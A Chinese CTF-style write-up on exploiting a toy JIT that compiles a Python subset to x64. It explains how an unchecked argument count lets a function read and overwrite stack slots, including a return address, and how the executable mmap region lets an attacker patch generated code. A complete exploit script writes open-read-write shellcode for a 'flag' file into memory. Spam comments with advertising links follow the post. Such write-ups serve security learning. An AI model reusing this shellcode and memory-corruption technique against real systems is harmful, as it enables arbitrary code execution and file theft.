Loading... 一个 python 语言子集的的 JIT,写python生成 x64 汇编代码执行,阅读一下源码得出允许变量运算、自己编写函数并调用、用下标给数组元素赋值,还有一个putc输出变量值的功能。 调试的时候改一下源码,输出一下程序中间生成的汇编,几次尝试之后会发现: 1. 翻译函数调用的时候没实现好调用约定,不检查函数申明时的参数个数和传入参数个数是否一致,传入参数的方法是在调用该函数前push进栈,在被调用函数里通过`[rbp+x]`来使用,这就意味着如果传入参数小于申明参数个数的话,就可以发生非预期的栈上内存读写,修改返回地址等等 2. 不是从某个入口函数开始执行的,是按python翻译成汇编的顺序从text段起始执行 这里可以构造调用栈leak出栈上存的libc相关地址,然后在栈上构造rop链;但个人觉得这样做有些繁琐。 又观察到程序是通过mmap一个可读可写可执行的段把生成的汇编放进去执行 ![](https://i.loli.net/2021/11/30/fZ2xDe6LqaO9X4Q.png) 所以我们其实可以直接修改汇编语句。具体办法是leak出主函数调用的某函数的返回地址ret(也就是main+n),然后用此地址作为指向数组指针,通过ret[n]修改该函数返回后执行的语句。 要修改和泄露该函数的ret,就需要通过构造,给该函数调用一个传入参数个数小于申明个数的子函数,使得某个参数在取值时正好对应到 ret 地址的位置。 这里还有两个注意点: 1. 打远程提交脚本后是发送 EOF 结束,之后不会有交互式shell了,所以要用orw 2. 立即数赋值有0x7fffffffffff限制,赋值时要用运算来绕过 exp: ```python def manum1n(): num=1 func(num) a=0 a[0]=0 return(3) def func(num1): num1=0 func2(0) return 0 def func2(num1,num2,num3): #num1[0]=0x58026a67 616c6668 #num1[1]=0x3148f631 48e78948 #num1[2]=0x0001c7c7 48050fd2 #num1[3]=0xd23148c6 89480000 #num1[4]=0x6a000000 30c2c749 #num1[5]=0x050f5828 tmp = 0x58026a * 0x100 + 0x67 tmp2 = tmp * 0x10000000 tmp3 = tmp2 * 0x10 tmp4 = 0x616c66 * 0x100 + 0x68 tmp5 = tmp3 + tmp4 num1[0] = tmp5 tmp = 0x3148f6 * 0x100 + 0x31 tmp2 = tmp * 0x10000000 tmp3 = tmp2 * 0x10 tmp4 = 0x48e789 * 0x100 + 0x48 tmp5 = tmp3 + tmp4 num1[1] = tmp5 tmp = 0x0001c7 * 0x100 + 0xc7 tmp2 = tmp * 0x10000000 tmp3 = tmp2 * 0x10 tmp4 = 0x48050f * 0x100 + 0xd2 tmp5 = tmp3 + tmp4 num1[2] = tmp5 tmp = 0xd23148 * 0x100 + 0xc6 tmp2 = tmp * 0x10000000 tmp3 = tmp2 * 0x10 tmp4 = 0x894800 * 0x100 + 0x00 tmp5 = tmp3 + tmp4 num1[3] = tmp5 tmp = 0x6a0000 * 0x100 + 0x00 tmp2 = tmp * 0x10000000 tmp3 = tmp2 * 0x10 tmp4 = 0x30c2c7 * 0x100 + 0x49 tmp5 = tmp3 + tmp4 num1[4] = tmp5 num1[5] = 0x050f5828 putc(num1) num2=0x7fffffff return 0 ``` 最后修改:2021 年 12 月 01 日 10 : 29 AM © 允许规范转载
42 条评论
真棒!
真好呢
文章的确不错啊https://www.cscnn.com/
看的我热血沸腾啊www.jiwenlaw.com
看的我热血沸腾啊https://www.ea55.com/
看的我热血沸腾啊https://www.jiwenlaw.com/
博主真是太厉害了!!!
555
555
1
555
555
555
1
师傅发一下题目呗
555
555
1
1
1
1
1
1
1
1
555
1
1
1
1
1
1
1
1